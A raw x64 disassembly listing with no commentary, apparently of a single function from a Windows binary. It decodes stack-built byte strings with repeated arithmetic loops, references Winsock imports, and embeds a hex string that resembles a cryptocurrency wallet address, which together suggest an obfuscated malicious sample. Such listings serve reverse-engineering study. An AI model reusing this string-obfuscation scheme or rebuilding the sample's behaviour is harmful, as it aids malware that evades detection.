mov byte [rbp + 0x672], 0x5a
mov byte [rbp + 0x673], 0x18
mov byte [rbp + 0x674], 0x5a
mov byte [rbp + 0x675], 0x18
mov byte [rbp + 0x676], 0x5a
mov byte [rbp + 0x677], 0x18
mov byte [rbp + 0x678], 0x5a
mov byte [rbp + 0x679], 0x18
mov byte [rbp + 0x67a], 0x5a
mov byte [rbp + 0x67b], 0x18
mov byte [rbp + 0x67c], 0x5a
mov byte [rbp + 0x67d], 0x18
mov byte [rbp + 0x67e], 0x5a
mov byte [rbp + 0x67f], 0x18
mov byte [rbp + 0x680], 0x5a
mov byte [rbp + 0x681], 0x18
mov byte [rbp + 0x682], 0x5a
mov byte [rbp + 0x683], 0x18
mov byte [rbp + 0x684], 0x5a
mov byte [rbp + 0x685], 0x18
mov byte [rbp + 0x686], 0x5a
mov byte [rbp + 0x687], reloc.WS2_32.dll_shutdown
mov cl, byte [rbp + 0x668]
lea rax, [rbp + 0x4b1]
lea r9, [rbp + 0x149]
lea r8, [rbp + 0x669]
test cl, 1
jne 0x14000876f
mov ecx, 1
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx edx, byte [rbp + rcx + 0x668]
movzx edx, dl
imul edx, edx, 0xffffffd3
mov r10d, edx
add r10d, 0x3de
movsx esi, r10w
imul esi, esi, 0xffff8103
shr esi, 0x10
add esi, edx
add esi, 0x3de
movzx esi, si
mov edi, esi
shr edi, 0xf
shr esi, 6
add esi, edi
mov edi, esi
shl edi, 7
sub esi, edi
add edx, esi
add edx, 0x3de
add dl, 0x7f
movzx edx, dl
lea edi, [rdx + rdx*2]
shr edi, 8
mov ebx, edx
sub bl, dil
shr bl, 1
add bl, dil
shr bl, 6
movzx edi, bl
mov ebx, edi
shl ebx, 7
sub ebx, edi
sub dl, bl
mov byte [rbp + rcx + 0x668], dl
add rcx, 1
cmp rcx, 0x20
jne 0x1400086f0
lea rcx, [rbp + 0x6a9]
mov qword [rsp + 0x88], rcx
lea rcx, [rbp + 0x1e9]
mov qword [rsp + 0x80], rcx
lea rcx, [rbp + 0x281]
mov qword [rsp + 0x78], rcx
lea rcx, [rbp + 0x3f1]
mov qword [rsp + 0x70], rcx
lea rcx, [rbp + 0x7a9]
mov qword [rsp + 0x68], rcx
lea rcx, [rbp + 0x4e9]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x58], r11
lea rcx, [rbp + 0x689]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x301]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [0x140050e10]
mov edx, 0x1000
call fcn.140009100
mov byte [rbp + 0x520], 0
lea rdx, [rbp + 0x521]
mov byte [rbp + 0x521], reloc.WS2_32.dll_socket
mov byte [rbp + 0x522], reloc.WS2_32.dll_socket
mov byte [rbp + 0x523], 0x61
mov byte [rbp + 0x524], 0x4f
mov byte [rbp + 0x525], 0x51
mov byte [rbp + 0x526], 0x51
mov byte [rbp + 0x527], reloc.WS2_32.dll_inet_ntoa
mov al, byte [rbp + 0x520]
test al, 1
jne 0x140008b3e
mov al, byte [rbp + 0x521]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x1a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x1a4
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add eax, ecx
add eax, 0x1a4
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebx, bl
mov ecx, ebx
shl ecx, 7
sub ecx, ebx
sub al, cl
mov byte [rbp + 0x521], al
mov al, byte [rbp + 0x522]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x1a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x1a4
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add eax, ecx
add eax, 0x1a4
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebx, bl
mov ecx, ebx
shl ecx, 7
sub ecx, ebx
sub al, cl
mov byte [rbp + 0x522], al
mov al, byte [rbp + 0x523]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x1a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x1a4
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add eax, ecx
add eax, 0x1a4
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebx, bl
mov ecx, ebx
shl ecx, 7
sub ecx, ebx
sub al, cl
mov byte [rbp + 0x523], al
mov al, byte [rbp + 0x524]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x1a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x1a4
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add eax, ecx
add eax, 0x1a4
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebx, bl
mov ecx, ebx
shl ecx, 7
sub ecx, ebx
sub al, cl
mov byte [rbp + 0x524], al
mov al, byte [rbp + 0x525]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x1a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x1a4
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add eax, ecx
add eax, 0x1a4
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebx, bl
mov ecx, ebx
shl ecx, 7
sub ecx, ebx
sub al, cl
mov byte [rbp + 0x525], al
mov al, byte [rbp + 0x526]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x1a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x1a4
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add eax, ecx
add eax, 0x1a4
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebx, bl
mov ecx, ebx
shl ecx, 7
sub ecx, ebx
sub al, cl
mov byte [rbp + 0x526], al
mov al, byte [rbp + 0x527]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x1a4
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x1a4
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add eax, ecx
add eax, 0x1a4
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebx, bl
mov ecx, ebx
shl ecx, 7
sub ecx, ebx
sub al, cl
mov byte [rbp + 0x527], al
lea rcx, [0x140050e10]
lea r8, [rbp + 0x10]
call fcn.140004a70
xorps xmm0, xmm0
movaps xmmword [rbp + 0x330], xmm0
movaps xmmword [rbp + 0x320], xmm0
movaps xmmword [rbp + 0x310], xmm0
movaps xmmword [rbp + 0x300], xmm0
movaps xmmword [rbp + 0x590], xmm0
movaps xmmword [rbp + 0x580], xmm0
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x560], xmm0
movaps xmmword [rbp + 0x550], xmm0
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x530], xmm0
movaps xmmword [rbp + 0x520], xmm0
mov qword [rbp + 0x6c0], 0
movaps xmm6, xmmword [0x1400441b0]
movups xmmword [rbp + 0x6d0], xmm6
mov byte [rbp + 0x6c0], 0
lea rcx, str.35303030
call fcn.140036d40
mov rsi, rax
cmp rax, 0xf
jbe 0x140008bf2
lea r9, str.35303030
lea rcx, [rbp + 0x6c0]
mov rdx, rsi
call fcn.1400096c0
jmp 0x140008c17
mov qword [rbp + 0x6d0], rsi
lea rdx, str.35303030
lea rcx, [rbp + 0x6c0]
mov r8, rsi
call fcn.140033760
mov byte [rbp + rsi + 0x6c0], 0
lea rcx, [rbp + 0x6c0]
lea rdx, [rbp + 0x300]
call fcn.140004c20
mov rax, qword [rbp + 0x6d8]
cmp rax, 0x10
jb 0x140008c6f
mov rcx, qword [rbp + 0x6c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140008c6a
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140008fcc
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.140031e30
mov byte [rbp + 0x6c0], 0
mov byte [rbp + 0x6c1], 0x27
mov byte [rbp + 0x6c2], 0x27
mov byte [rbp + 0x6c3], 0x2a
mov byte [rbp + 0x6c4], 0x21
mov byte [rbp + 0x6c5], 0xa
mov byte [rbp + 0x6c6], 0x25
mov byte [rbp + 0x6c7], 0x1c
mov byte [rbp + 0x6c8], 0x1e
mov byte [rbp + 0x6c9], 0x1e
mov byte [rbp + 0x6ca], reloc.WS2_32.dll_setsockopt
lea rcx, [rbp + 0x6c0]
call fcn.140009190
lea rcx, [0x140050e10]
lea r8, [rbp + 0x300]
mov rdx, rax
call fcn.140004a70
mov qword [rbp + 0x6c0], 0
movups xmmword [rbp + 0x6d0], xmm6
mov byte [rbp + 0x6c0], 0
lea rcx, str.31344a4a667257516275643863384b4543487963396a4d3664616d6d796a5562335a
call fcn.140036d40
mov rsi, rax
cmp rax, 0xf
jbe 0x140008d24
lea r9, str.31344a4a667257516275643863384b4543487963396a4d3664616d6d796a5562335a
lea rcx, [rbp + 0x6c0]
mov rdx, rsi
call fcn.1400096c0
jmp 0x140008d49
mov qword [rbp + 0x6d0], rsi
lea rdx, str.31344a4a667257516275643863384b4543487963396a4d3664616d6d796a5562335a
lea rcx, [rbp + 0x6c0]
mov r8, rsi
call fcn.140033760
mov byte [rbp + rsi + 0x6c0], 0
lea rcx, [rbp + 0x6c0]
lea rdx, [rbp + 0x520]
call fcn.140004c20
mov rax, qword [rbp + 0x6d8]
cmp rax, 0x10
jb 0x140008da1
mov rcx, qword [rbp + 0x6c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140008d9c
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140008fcc
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.140031e30
mov byte [rbp + 0x6c0], 0
lea rdx, [rbp + 0x6c1]
mov byte [rbp + 0x6c1], 0x64
mov byte [rbp + 0x6c2], 0x64
mov byte [rbp + 0x6c3], 0x61
mov byte [rbp + 0x6c4], 0x4a
mov byte [rbp + 0x6c5], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6c6], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6c7], 0x20
mov byte [rbp + 0x6c8], 0x41
mov byte [rbp + 0x6c9], 0x4f
mov byte [rbp + 0x6ca], 0x4f
mov byte [rbp + 0x6cb], 0x3a
mov al, byte [rbp + 0x6c0]
test al, 1
jne 0x140008e8b
mov esi, 1
nop
movzx ecx, byte [rbp + rsi + 0x6c0]
movzx ecx, cl
lea ecx, [rcx + rcx*2]
lea ebx, [rcx*4 - 0x2b8]
movsx ebx, bx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
lea ebx, [rbx + rcx*4]
add ebx, 0xfffffd48
movzx ebx, bx
mov edi, ebx
shr edi, 0xf
shr ebx, 6
add ebx, edi
mov edi, ebx
shl edi, 7
sub ebx, edi
lea ecx, [rbx + rcx*4]
add ecx, 0xfffffd48
add cl, 0x7f
movzx ecx, cl
lea ebx, [rcx + rcx*2]
shr ebx, 8
mov eax, ecx
sub al, bl
shr al, 1
add al, bl
shr al, 6
movzx ebx, al
mov eax, ebx
shl eax, 7
sub eax, ebx
sub cl, al
mov byte [rbp + rsi + 0x6c0], cl
add rsi, 1
cmp rsi, 0xc
jne 0x140008e10
lea rcx, [0x140050e10]
lea r8, [rbp + 0x520]
call fcn.140004a70
mov byte [rbp + 0x6c0], 0
lea rdx, [rbp + 0x6c1]
mov byte [rbp + 0x6c1], 2
mov byte [rbp + 0x6c2], 2
mov byte [rbp + 0x6c3], 0x4e
mov byte [rbp + 0x6c4], 0x5f
mov byte [rbp + 0x6c5], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6c6], WSAGetLastError
mov byte [rbp + 0x6c7], 0x21
mov byte [rbp + 0x6c8], 0x7c
mov byte [rbp + 0x6c9], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6ca], 0x21
mov byte [rbp + 0x6cb], 0x54
mov byte [rbp + 0x6cc], 0x54
mov byte [rbp + 0x6cd], 0x27
mov al, byte [rbp + 0x6c0]
test al, 1
jne 0x140008f9e
mov esi, 1
nop word [rax + rax]
movzx ecx, byte [rbp + rsi + 0x6c0]
movzx ecx, cl
mov ebx, ecx
shl ebx, 5
sub ebx, ecx
mov ecx, ebx
add ecx, 0xfffffb47
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffb47
movzx ecx, cx
mov edi, ecx
shr edi, 0xf
shr ecx, 6
add ecx, edi
mov edi, ecx
shl edi, 7
sub ecx, edi
add ecx, ebx
add ecx, 0xfffffb47
add cl, 0x7f
movzx ecx, cl
lea ebx, [rcx + rcx*2]
shr ebx, 8
mov eax, ecx
sub al, bl
shr al, 1
add al, bl
shr al, 6
movzx ebx, al
mov eax, ebx
shl eax, 7
sub eax, ebx
sub cl, al
mov byte [rbp + rsi + 0x6c0], cl
add rsi, 1
cmp rsi, 0xe
jne 0x140008f20
lea rcx, [0x140050e10]
lea r8, str.61bdb5da_68f8_4255_94a5_1a8ea26ac989
call fcn.140004a70
movaps xmm6, xmmword [rbp + 0x7c0]
add rsp, 0x858
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1400367c0
int3